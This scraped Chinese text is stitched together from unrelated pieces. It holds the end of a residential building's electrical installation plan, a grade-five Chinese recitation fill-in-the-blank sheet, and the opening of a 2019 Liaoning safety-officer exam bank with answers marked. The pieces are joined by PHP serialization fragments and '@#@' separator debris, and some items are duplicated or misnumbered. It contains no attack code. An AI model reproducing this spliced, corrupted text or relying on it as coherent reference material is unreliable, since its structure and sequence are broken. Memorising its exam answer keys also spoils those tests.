@#@@#@电缆桥架须经供货商现场勘测确认。

@#@安装方式为竖井内垂直托架上明敷，在竖井预制分支电缆沿专用支架一敷设。

@#@安装完毕后，各竖井部位的安装孔洞每三层应严格封闭，先用钢板分隔封闭，并在电缆梯架导线四周用石棉绳缠绕，或用矿棉半硬板封好，再用混凝土封牢。

@#@每三层中间的各层钢板作一次封闭，以便于安装或检修。

@#@施工时与土建密切配合，并按国标86SD169、90SD180、91D372施工。

@#@@#@（3）灯具、插座、开关等安装；@#@@#@开关、插座配合墙面装饰进行，开关安装高度1.3米，厨房插座安装高度1.3米，卫生间插座安装高度1.3米，其它地方插座离地0.3米。

@#@@#@2、防雷接地：

@#@@#@

（1）不同平面的屋顶四周均设避雷带，避雷带采用Φ16制作。

@#@并利用柱子内的不少于二根主钢筋做引下线。

@#@引下线从柱顶至地下焊接连通。

@#@作为引下线的钢筋必须通长焊接。

@#@搭焊长度不小于100mm@#@

（2）30米以上的金属栏杆、金属门窗与柱内引下线焊接，引下线与最下端的建筑承台钢筋相连，承台钢筋与柱基钢筋焊接成一体。

@#@@#@3、弱电安装：

@#@@#@本楼弱电部分设计有：

@#@有线电视、电话、宽带网络系统、访客对讲系统。

@#@@#@电视电缆采用SYKV-75-5型电缆，电话线采用RVB-2×@#@0.5型，电视电缆及电话线仅敷设至各户多媒体盒，其后部分预埋电线管及接线盒。

@#@@#@访客对讲系统采用SYV-75-5型电缆沿弱电竖井内敷设至各层视频分配器/8线解码器。

@#@@#@第四章施工进度计划与劳动力安排@#@安装工程进度计划总体安排如下：

@#@

（1）预留预埋：

@#@前期配合土建进行安装工程的预留预埋工作及埋地管道的安装、下部楼层立管安装，预计120天；@#@

（2）主体安装期：

@#@预计170天；@#@（3）配合装修工程：

@#@进行灯具、卫生设备、喷头的安装、系统调试，预计80天。

@#@@#@具体施工进度计划详见乐陵市公路局住宅小区1#楼施工进度计划网络图。

@#@@#@ @#@@#@目录@#@第一章工程概况@#@第二章施工配合@#@第三章分项分部施工方案@#@第四章施工进度计划与劳动力安排@#@ @#@@#@安@#@装@#@工@#@程@#@施@#@工@#@方@#@案@#@ @#@@#@建设单位：

@#@监理单位：

@#@施工单位:

@#@@#@";i:

26;s:

31987:

"部编五年级下册语文课文内容填空练习定稿@#@（部编）五年级下册语文课文内容填空练习@#@1、《四时田园杂兴》作者（ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），村庄儿女（ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@　）。

@#@@#@2、儿童是那样的天真可爱，“________________________，_____________________”写出了儿童学种瓜时的情景；@#@“_________________________，________________________”描绘了小孩“脱冰作戏”的情景；@#@“_________________________，__________________________”描写了牧童骑在牛背上悠闲自在地吹笛的情景。

@#@@#@3、《四时田园杂兴》（其三十一）中，表现农村儿童天真、勤劳、可爱的诗句是“_______________________，_______________________”，特别是诗中的“_______”字，流露出诗人对__________________________________________________________的赞扬。

@#@@#@4、______________________，山衔落日浸寒漪。

@#@_____________________，短笛无腔信口吹。

@#@5、《稚子弄冰》作者（ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），彩丝（ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@6稚子金盆脱晓冰，______________________。

@#@_____________________，忽作玻璃碎地声。

@#@7、《村晚》作者（ @#@ @#@），草满池塘（ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@8、在一个长满青草的池塘里，池水灌得满满的，山衔住落日淹没了水波。

@#@根据意思写出诗句：

@#@_____________________________，___________________________。

@#@@#@9、东南水乡，人们正忙着插秧播种，连小孩儿都在忙着学种瓜。

@#@“______________________,____________________________”说得真没错!

@#@@#@10、《稚子弄冰》一诗中，描写儿童在冬天嬉戏的诗句是：

@#@________________，________________________________。

@#@@#@11、儿童的世界是多姿多彩的。

@#@“__________________________，____________________”，刻画的是爱劳动的儿童；@#@“__________________________，__________________________”，刻画的是凿冰的儿童；@#@“__________________________，__________________________”，刻画的是牛背吹笛的儿童。

@#@@#@12、《祖父的园子》选自《________________》，作者是______________。

@#@祖父的园子里有________，有________，有________，有________„„这里是“我”______________。

@#@本文展现了作者__________________的童年生活。

@#@@#@13、《祖父的园子》一文通过作者对________________里的景物的描写以及作者跟随祖父在园子里自由自在地玩耍的________________，展现了作者快乐、自由、幸福的________________，表达了作者对童年生活的________________。

@#@@#@14、《祖父的园子》选出作者（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）的长篇小说《 @#@ @#@ @#@ @#@ @#@ @#@ @#@》，作者原名（ @#@ @#@ @#@ @#@ @#@ @#@ @#@），她被誉为“ @#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@） @#@”，和（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）并称“民国四大才女”。

@#@本文通过对（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）的介绍以及描述跟随祖父在园子里（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）的美好感受，表现了作者儿时（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）的特点，表达出作者（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）的心情和（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）的感情。

@#@@#@15、童年，是一首诗，是一幅画。

@#@《祖父的园子》中，“我”的童年是_______________的。

@#@12、《月是故乡明》中作者运用了________的写法，表现了作者对________________的怀念之情，抒发了作者强烈的________________。

@#@@#@16、季羡林先生认为月是________明，这表达了他对______________之情。

@#@@#@17、故乡，是一壶老酒，是一杯浓茶。

@#@《月是故乡明》中，“我”以为寄托，抒发之情。

@#@@#@18.《梅花魂》通过对身居海外的生前对一幅和祖国的一些往事的追忆，表达了身在异国的华侨老人的思想感情。

@#@@#@19、“梅花魂”中“魂”的意思是。

@#@文中梅花的精神是指。

@#@自古以来，我国具有这种精神的人物有、等。

@#@@#@20、“独在异乡为异客，”“，王孙归不归”“自在飞花轻似梦，”这些诗句都间接表达了外祖父的情感。

@#@读完课文，我记住了这样一位老人：

@#@他爱，爱，在他心目中，是中国最有名的花，是中华民族精神的象征。

@#@他把的情怀寄托在梅花的身上，表露了一位华侨老人的心。

@#@@#@21、我们的成长离不开母亲的关心和照顾。

@#@你能想到的歌颂母爱的诗句是，@#@。

@#@@#@22、慈母手中线，。

@#@，意恐迟迟归。

@#@，。

@#@这首诗的作者是代诗人的《》。

@#@表达了诗人对慈母的之情。

@#@@#@23、《游子吟》中运用对偶的手法的诗句是“，。

@#@”运用比喻的手法来表现母爱的诗句是“，。

@#@”@#@24、童年是五彩的，就像海边漂亮的贝壳；@#@童年是无忧无虑的，就像整天嬉闹的海浪娃娃；@#@童年是的，就像。

@#@@#@25、《草船借箭》一文节选自《》，作者是，从课文中我们可以知道诸葛亮是一个的人，周瑜是一个的人。

@#@@#@26、《草船借箭》是根据我国古曲长篇历史小说《》中的章节改编的。

@#@作者是（ @#@ @#@ @#@）的（ @#@ @#@ @#@）。

@#@这部小说写的是三国时代（ @#@ @#@ @#@）、（ @#@ @#@ @#@）、（ @#@ @#@ @#@）的故事。

@#@书中的许多事故广为流传，如：

@#@“（ @#@ @#@ @#@）”“（ @#@ @#@ @#@）”“（ @#@ @#@ @#@）”“（ @#@ @#@ @#@）”。

@#@@#@27、正月初一，我和妹妹出去拜年，空手出去，回来时却收获满满，这真是草船借箭——@#@啊！

@#@@#@28、《草船借箭》让我们认识了的曹操、的鲁肃、@#@的周瑜、的诸葛亮，这些人物形象家喻户晓。

@#@@#@29、《草船借箭》节选自《》，作者是@#@草船借箭的起因是；@#@草船借箭准备是：

@#@@#@草船借箭的过程是；@#@草船借箭的结果是@#@30、《景阳冈》节选自我国古典小说《》，作者是，课文是按照“喝酒→→→下冈”的顺序记叙的，表现了武松的性格特点。

@#@@#@31、店家道：

@#@“我是一片好心，你反当做恶意。

@#@”他也可以把“”这句俗语送给武松。

@#@明知山上有老虎，武松还是不听劝告独自上景阳冈，让我想到了俗语：

@#@@#@@#@32、古时候，“官府的榜文”指，“郎中”一般指。

@#@@#@33、《水浒传》是我国古代著名的长篇小说，作者是元末明初的。

@#@我知道里面著名的故事：

@#@、、。

@#@@#@34、《景阳冈》重点讲了武松和这两个故事情节，分别可以看出武松和的性格特点。

@#@@#@《景阳冈》节选自古典长篇小说《》，其中写了北宋末年以（ @#@ @#@ @#@）为首的（ @#@ @#@ @#@）位英雄在水泊梁山起义的故事，本文中写了武松（ @#@ @#@ @#@）的故事。

@#@作者是（ @#@ @#@ @#@）。

@#@及时雨（ @#@ @#@ @#@），豹子头（ @#@ @#@ @#@），智多星（ @#@ @#@ @#@），黑旋风（ @#@ @#@ @#@），浪里白条（ @#@ @#@ @#@）。

@#@@#@35、《景阳冈》选自名著《》，这部名著共塑造了位个性鲜明、有血有肉的好汉形象；@#@@#@36、原来大虫抓人，只是（ @#@）、（ @#@）、（ @#@）、三般都抓不着，劲儿先就（ @#@ @#@ @#@）。

@#@那只大虫（ @#@ @#@ @#@），再吼一声，一兜兜回来。

@#@武松见大虫翻身回来，就双手（ @#@ @#@）哨棒，使尽（ @#@ @#@ @#@），从半空（ @#@ @#@）。

@#@@#@37、水帘洞的石碣上镌着（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@38、《猴王出世》是我国古典名著《》中的一个片段，文中石猴因敢于，被群猴拜为猴王，表现了石猴的特点。

@#@这部名著中的其他故事：

@#@、、等；@#@《猴王出世》节选自我国古典神话小说（ @#@ @#@ @#@），作者是（ @#@ @#@ @#@）。

@#@故事讲述了（ @#@ @#@ @#@）、（ @#@ @#@ @#@）、（ @#@ @#@ @#@）、（ @#@ @#@ @#@）去西天取经的故事。

@#@书中有许多事故，有（ @#@ @#@ @#@）、（ @#@ @#@ @#@）、（ @#@ @#@ @#@）等。

@#@@#@39、《红楼春趣》讲述的是的故事。

@#@@#@40、《红楼春趣》描写了里众人的情景，宝玉放的是风筝，探春放的是风筝，宝钗放的是风筝，宝琴放的是风筝，表现了众人放风筝的趣味。

@#@@#@41、人闲，春山空。

@#@月出惊山鸟，。

@#@@#@42、《鸟鸣润》的作者是代诗人。

@#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@43、汉字产生于几千年前，是世界上最的文字之一，经历了漫长的演变过程，在演变过程中，字体发生了很大变化，其中以、、@#@、、五种字体最为典型。

@#@@#@44、是世界上使用人口最多的文字。

@#@@#@45、朝的是第一个发现和研究甲骨文的人。

@#@@#@46、汉字书法是一门独特的。

@#@古往今来，我国涌现了许多著名的书法家，如：

@#@、、等。

@#@@#@47、甲骨文是刻在或上的文字。

@#@金文是铸刻在上的文字，又称为铜器铭文。

@#@@#@48、汉字从甲骨文至今，已经有的历史。

@#@在漫长的发展演变过程中，字体发生了很大变化，其中以甲骨文、、、、@#@五种字体最为典型。

@#@@#@49、外甥打灯笼----（ @#@ @#@ @#@ @#@ @#@） @#@梁山泊军师----（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）@#@孔夫子搬家----（ @#@ @#@ @#@ @#@ @#@ @#@ @#@） @#@四月的冰河---（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）@#@咸菜烧豆腐---（ @#@ @#@ @#@ @#@ @#@ @#@） @#@隔着门缝吹喇叭---（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）@#@50、《从军行》作者（ @#@ @#@），青海（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@）玉门关。

@#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@51、《秋夜将晓出篱门迎凉有感》作者（ @#@ @#@ @#@），三万（ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@52、青海长云暗雪山，孤城遥望玉门关。

@#@，。

@#@前两句中的“暗”、“孤”二字，形象地展现了边塞的景象，突出了将士们边生活@#@的孤寂、艰苦。

@#@后两句写出了将士们的心声，表现了他们的意志和豪情。

@#@@#@53、三万里河东入海，。

@#@遗民泪尽胡尘里，。

@#@@#@54、“满怀希望地望着江南，盼望南宋军队收复失地，如此又一年。

@#@”这句意思相对应的诗句@#@是：

@#@“，”。

@#@“三万里长的大河向东流入大海，五千仞高华山高耸接青天。

@#@北宋的遗民对着这样的河山也只能伤心欲绝。

@#@”相对应的诗句又是：

@#@“，。

@#@”@#@55、《秋夜将晓出篱门迎凉有感》前两句诗中的“”字表现出黄河的生气，“”字突出山的高峻；@#@从第三句的“、”看出了百姓饱受战乱之苦；@#@从第四句的“、”看出了百姓对和平的渴望。

@#@全诗以“”字为眼，表现了诗人希望、失望，千回百转的心情，这是悲壮深沉的心声，诗境雄伟、严肃、苍凉、悲愤，读之令人奋起。

@#@@#@56、《闻官军收河南河北》表现诗人一家欣喜欲狂的句子是：

@#@，。

@#@“剑外忽传收蓟北，初闻涕泪满衣裳”中的“忽传”二字表现出，诗人“涕泪”是因为。

@#@“即从巴峡穿巫峡，便下襄阳向洛阳”之句，营造了一幅的画面，表达了诗人的心境。

@#@@#@57、《闻官军收河南河北》是代诗人的诗。

@#@这是他“生平第一首快诗”。

@#@这首诗抒发了诗人的心情。

@#@@#@58、《青山处处埋忠骨》讲述了毛主席获悉长子在中光荣牺牲的消息后极度痛苦的心情以及对毛岸英遗体的艰难抉择过程这两件事情，表现了毛主席常人的和伟人的@#@59、青山处处，何须马革。

@#@这句话显示了毛主席@#@60、主席（ @#@ @#@ @#@）地站起来，（ @#@ @#@）头，（ @#@ @#@）天花板，强忍着心中的（ @#@ @#@），目光中流露出（ @#@ @#@ @#@ @#@ @#@）。

@#@@#@61、青山（ @#@ @#@ @#@ @#@ @#@ @#@ @#@），何须（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@62、《清贫》一文选自《》，作者是。

@#@课文表现了方志敏、的革命精神。

@#@@#@63、清贫，（ @#@ @#@ @#@ @#@ @#@ @#@ @#@），正是我们革命者能够（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@64、《军神》讲述了在的条件下，强忍疼痛，接受的故事，体现了革命军人的顽强意志。

@#@@#@65、病人（ @#@ @#@ @#@ @#@ @#@），他双手紧紧抓住身下的白床单，手背（ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@）。

@#@他越来越使劲，（ @#@ @#@）的白床单居然被抓破了。

@#@@#@66、手术台上，一向的沃克医生，这次双手却有些，他额上，护士帮他擦了一次又一次。

@#@@#@67、《凉州词》作者（ @#@　），黄河（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），一片（）。

@#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@68、《黄鹤楼送孟浩然之广陵》作者（ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@69、黄河远上白云间，一片孤城万山。

@#@，。

@#@这首诗的作者是代诗人。

@#@这首诗既描绘了一幅的画卷，又表现了戍边将士的思想感情。

@#@@#@70、故人西辞黄鹤楼，。

@#@，唯见长江天际流。

@#@这首诗的作者是代诗人，他被称为“”。

@#@这首诗描述的是诗人在送别好友去，表达了诗人对好友的@#@之情。

@#@@#@71、陆游的古诗句“，”让我体会到祖国的河山如此壮丽。

@#@王之涣的诗句“，。

@#@”令人觉得玉门关是那样孤独。

@#@从李白的诗句“，”我们读出了诗人对朋友的不舍。

@#@从王昌龄的诗句“，”我们读出了将士们的豪言壮志。

@#@@#@72、《捧跤》选自电影剧本《》，作者是。

@#@小嘎子的性格特点是、@#@73、《捧跤》选自的《》，主要写了@#@74、《小嘎子》是作家的儿童小说中的主人公。

@#@课文表现了小嘎子、、、的个性特点，表现了胖墩儿的特点。

@#@@#@75、起初，小嘎子（ @#@ @#@ @#@ @#@），欺负对手（ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@），围着他猴儿似的（ @#@ @#@ @#@ @#@），总想使巧招，下冷绊子，仿佛很（ @#@ @#@ @#@），可是小胖墩儿也是个摔跤的（），（）（）（）着眼珠子，不露一点儿（），选自《》，作者（）。

@#@@#@76、两人走马灯似的转了三四圈，终于（ @#@ @#@ @#@ @#@），揪在了一起。

@#@这一来，小嘎子可上了当：

@#@小胖墩儿（ @#@ @#@ @#@），一身牛劲儿，任你怎样（ @#@ @#@ @#@），硬是（ @#@ @#@ @#@ @#@）。

@#@小嘎子已有些（ @#@ @#@ @#@ @#@），刚想用脚腕子去（ @#@）他的腿，不料反给他把脚（ @#@ @#@）。

@#@@#@77、他计划着怎样杀进他的腰去，好更显出他的（ @#@ @#@ @#@）似的胸，与（ @#@）的背；@#@扭头看看自己的肩，多么（ @#@ @#@），多么（ @#@ @#@）。

@#@@#@78、《他像一棵挺脱的树》选自小说《》，作者是。

@#@我们还学过他的文章《》《》等。

@#@@#@79、《他像一棵挺脱的树》细致描写了人力车夫祥子的，表现了他旺盛的@#@80、《他像一棵挺脱的树》选自《》，作者是，原名，课文中的“他”指的是，课文所选片段通过对他的进行描写，突出了他的特点。

@#@@#@81、严监生是我国古典讽刺小说《》中的人物，课文选取了的片段，写出了严监生的特点。

@#@@#@82、《刷子李》选自的《》。

@#@文章赞扬了刷子李@#@@#@83刷子李被作家冯骥才称为“俗世奇人”，他的绝活是。

@#@课文主要通过刷子李刷墙时的和曹小三对刷子李由到@#@的态度变化，表现了刷子李高超的技艺。

@#@@#@84、《刷子李》选自《》，作者是（ @#@ @#@ @#@），你还知道他写的哪些人物（ @#@ @#@ @#@）。

@#@@#@85、只见师傅的手臂（ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@），如同伴着（ @#@ @#@），和着（ @#@ @#@），每一摆刷，那长长的带浆的毛刷便在墙面啪地（ @#@ @#@ @#@ @#@）。

@#@@#@86、《自相矛盾》选自《》，作者是时期的家。

@#@这则寓言告诉了我们@#@87、“自相矛盾”常用来比喻@#@《自相矛盾》这个故事告诉我们@#@88、《自相矛盾》，楚人有（ @#@ @#@ @#@ @#@ @#@），誉之曰：

@#@（ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@又誉其矛曰：

@#@（ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@或曰：

@#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），何如？

@#@其人弗能应也。

@#@（），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@89、（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），更有早行人。

@#@@#@近水（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），日久（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@读书（ @#@ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@听君（ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@90、《田忌赛马》通过叙述时期的军事家为齐国大将献策，让他在和齐威王的赛马中的故事，说明了遇事只有仔细观察，，抓住，经过比较分析，才能得出最理想的解决问题的办法的道理。

@#@@#@91、《田忌赛马》是经典的利用取得胜利的故事。

@#@田忌听从@#@的建议，以三局胜，获得整体的胜利。

@#@@#@92、《跳水》的作者是国的。

@#@文中当孩子站在梳杆顶端的横木上面临危险时，船长的做法是，因为@#@，船长的做法给我们的启示是：

@#@@#@93、《跳水》的作者是国作家，这篇课文记叙了在@#@上发生的故事。

@#@在万分危急的时刻，船长，用枪命令儿子跳水，使孩子。

@#@船长表现出的、、源于他丰富的经验、超人@#@的智慧以及对孩子深切的爱，展现了他极大的人格魅力。

@#@@#@94、孩子（ @#@ @#@ @#@），站在横木上（ @#@ @#@ @#@ @#@）的，没听明白他爸爸的话。

@#@@#@95、《牧场之国》一文描写了景色，让我们感受到荷兰牧场的，体会96、《牧场之国》向我们展现了荷兰的独特风情：

@#@白天，牧场是牛、、、、@#@这些动物们的自由王国；@#@夜幕降临，广阔无垠的草原则是一片。

@#@@#@97、荷兰，是之国，之国，也是之国。

@#@《牧场之国》一文，描写了荷兰牧场风光的和@#@98、牛犊的模样像贵妇人，（ @#@ @#@ @#@）。

@#@老牛好似牛群的家长，（ @#@ @#@ @#@ @#@）。

@#@（ @#@ @#@ @#@ @#@ @#@），四周全是（ @#@ @#@ @#@）的碧绿草原和（ @#@ @#@ @#@ @#@）的花牛。

@#@@#@99、碧绿的低地（ @#@ @#@）在一条条运河之间，成群的骏马，匹匹（ @#@ @#@ @#@ @#@）。

@#@除了深深的野草（ @#@ @#@ @#@）的运河，没有什么能够阻挡她们（ @#@ @#@ @#@ @#@）。

@#@（ @#@ @#@ @#@）的原野似乎归它们所有。

@#@@#@100、（ @#@ @#@ @#@）的小鸡，（ @#@ @#@ @#@）的长毛山羊，在见不到一个人影的绿草地上，（ @#@ @#@ @#@ @#@ @#@）着这属于它们自己的王国。

@#@@#@101、（ @#@ @#@ @#@）的牲畜，（ @#@ @#@）的低地，（ @#@ @#@ @#@）的夜晚，远处的几座灯塔在闪烁着（ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@102、《威尼斯的小艇》通过介绍威尼斯小艇的、以及@#@小艇在人们生活中的，为我们展示了尼斯这座水上名城特有的风光。

@#@@#@103、《威尼斯的小艇》这篇课文通过介绍、以及小艇的重要性等，为我们展示了威尼斯特有的风光。

@#@这篇文章的作者是国作家。

@#@威尼斯是一座古城，由个岛屿组成，有、之称。

@#@1980年3月，和我国的结为姐妹城市。

@#@@#@船夫的驾驶技术特别好。

@#@行船的速度极快，来往船只很多，他 @#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），毫不（ @#@ @#@ @#@ @#@ @#@） @#@。

@#@不管怎么拥挤，他总能（ @#@ @#@ @#@ @#@） @#@地挤过去。

@#@（ @#@ @#@ @#@ @#@ @#@ @#@ @#@），他总能（ @#@ @#@ @#@ @#@ @#@ @#@ @#@），而且速度非常快，还能作（ @#@ @#@ @#@ @#@ @#@）。

@#@两边的建筑飞一般地（ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@） @#@，不知看哪一处好。

@#@@#@104、商人夹了大包的货物，（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@），沿河做生意。

@#@青年妇女在（ @#@ @#@ @#@ @#@ @#@ @#@） @#@。

@#@@#@许多孩子由保姆伴着，坐着（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@庄严的老人带了全家，（ @#@ @#@ @#@ @#@） @#@，坐着小艇上教堂（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@） @#@。

@#@@#@105、半夜，（ @#@ @#@ @#@ @#@ @#@ @#@ @#@），一大群人拥出来，走上了各自（ @#@ @#@ @#@ @#@ @#@） @#@。

@#@（ @#@ @#@ @#@ @#@ @#@） @#@一会儿散开了，消失在弯曲的河道中，传来一片（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@水面上渐渐沉寂，只见（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）在水中摇晃。

@#@高大的石头建筑（ @#@ @#@ @#@ @#@ @#@ @#@ @#@），古老的桥梁（ @#@ @#@ @#@ @#@ @#@ @#@ @#@） @#@，大大小小的船都（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）@#@。

@#@静寂笼罩着这座（ @#@ @#@ @#@ @#@ @#@ @#@ @#@） @#@，古老的威尼斯又（ @#@ @#@ @#@ @#@ @#@ @#@ @#@）@#@106、威尼斯的小艇有二三十英尺长，（ @#@ @#@ @#@ @#@ @#@），有点儿像（ @#@ @#@）。

@#@船头和船艄向上（ @#@ @#@），像（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）；@#@行动（ @#@ @#@ @#@ @#@），仿佛（ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@107、行船的速度极快，来往船只很多，他（ @#@ @#@），毫不（ @#@ @#@ @#@ @#@）。

@#@@#@108、水面上渐渐（ @#@ @#@），只见月亮的影子在（ @#@ @#@ @#@ @#@）。

@#@高大的石头建筑（ @#@ @#@ @#@）在河边，古老的桥梁（ @#@ @#@ @#@），大大小小的船都（ @#@ @#@）在码头上。

@#@静寂（ @#@ @#@）着这座水上城市，古老的威尼斯又（ @#@ @#@ @#@ @#@ @#@ @#@）。

@#@@#@109、金字塔坐落于，是由建造的，是人类@#@的结晶。

@#@其中最大的金字塔是，它建于公元前2600年左右，用@#@块石材砌成，体积约立方米。

@#@@#@110、有人说金字塔的白昼和月夜，各有各的（ @#@ @#@），各有各的（ @#@），但我觉得最（ @#@ @#@ @#@ @#@）的，恐怕还是这（ @#@ @#@ @#@ @#@）金字塔的色彩。

@#@@#@111、那一片迷人的金色，简直把你（ @#@ @#@ @#@ @#@）一个（ @#@ @#@ @#@ @#@ @#@），使你充满（ @#@ @#@ @#@ @#@ @#@）感受，引起（ @#@ @#@ @#@ @#@ @#@ @#@），（ @#@ @#@ @#@ @#@ @#@ @#@）地产生一种（ @#@ @#@ @#@ @#@ @#@）@#@112、《乡村四月》一诗的作者是代诗人，诗句中最能体现农人繁忙的诗句，。

@#@@#@113、绿遍山原白满川，。

@#@，才了蚕桑又插田。

@#@这首诗的作者是代诗人。

@#@这首诗描写了江南农村时节的景象。

@#@诗中写景的句子是“，”；@#@写“乡村四月”农村劳动紧张、忙碌的句子是“，"@#@，表达了诗人对的赞美之情。

@#@@#@114、《杨氏之子》选自《》。

@#@杨氏之子的值得我们学习。

@#@@#@115、梁国杨氏子九岁，甚。

@#@孔君平其父，父不在，呼儿出。

@#@为设果，果有杨梅。

@#@孔指以儿曰：

@#@“此是君家果。

@#@”儿应声答曰：

@#@”@#@116、《杨氏之子》一文中，面对孔君平的发问，杨氏子以“”来进行回答，他回答的巧妙之处在于：

@#@@#@117、《杨氏之子》选自（ @#@ @#@ @#@）朝（ @#@ @#@ @#@）的《》，它是我国魏晋南北朝时期（“”）的代表作。

@#@@#@其：

@#@（ @#@ @#@ @#@）惠：

@#@同（“";i:

27;s:

25088:

"辽宁安全员B证考试题库及答案@#@2019年辽宁省《安全员》考试题库及答案@#@一、单选题（4个选项中，只有1个正确答案）@#@1、安全生产管理是实现安全生产的重要（B）。

@#@@#@A．作用B．保证C．依据D．措施@#@2、安全是（D）。

@#@@#@A．没有危险的状态B．没有事故的状态C．舒适的状态@#@D．生产系统中人员免遭不可承受危险的伤害@#@3、依据《建设工程安全生产管理条例》，施工单位应当设立安全生产（D）机构，配备专职安全生产管理人员。

@#@@#@A．检查B．监督C．监理D．管理@#@4、某装修工程装修建筑面积12000平方米，按照建设部关于专职安全生产管理人员配备的规定，该装修工程项目应当至少配备（B）名专职安全生产管理人员。

@#@@#@A．1B．2C．3D．4@#@5、某建筑工程建筑面积5万平方米，按照建设部关于专职安全生产管理人员配备的规定，该建筑工程项目应当至少配备（C）名专职安全生产管理人员。

@#@@#@A．1B．2C．3D．4@#@6、依据《建设工程安全生产管理条例》，建设行政主管部门在审核发放施工许可证时，应当对建设工程是否有（D）进行审查。

@#@@#@A．安全规章制度B．安全管理机构C．安全生产责任制D．安全施工措施@#@7、施工单位对因建设工程施工可能造成损害的毗邻建筑物、构筑物和地下管线等，采取（C）@#@A．防范措施B．安全保护措施C．专项防护措施D．隔离措施@#@8、（D）是建筑施工企业所有安全规章制度的核心。

@#@@#@A．安全检查制度B．安全技术交底制度C．安全教育制度D．安全生产责任制度@#@9、《建设工程安全生产管理条例》规定，施工单位（A）依法对本单位的安全生产工作全面负责。

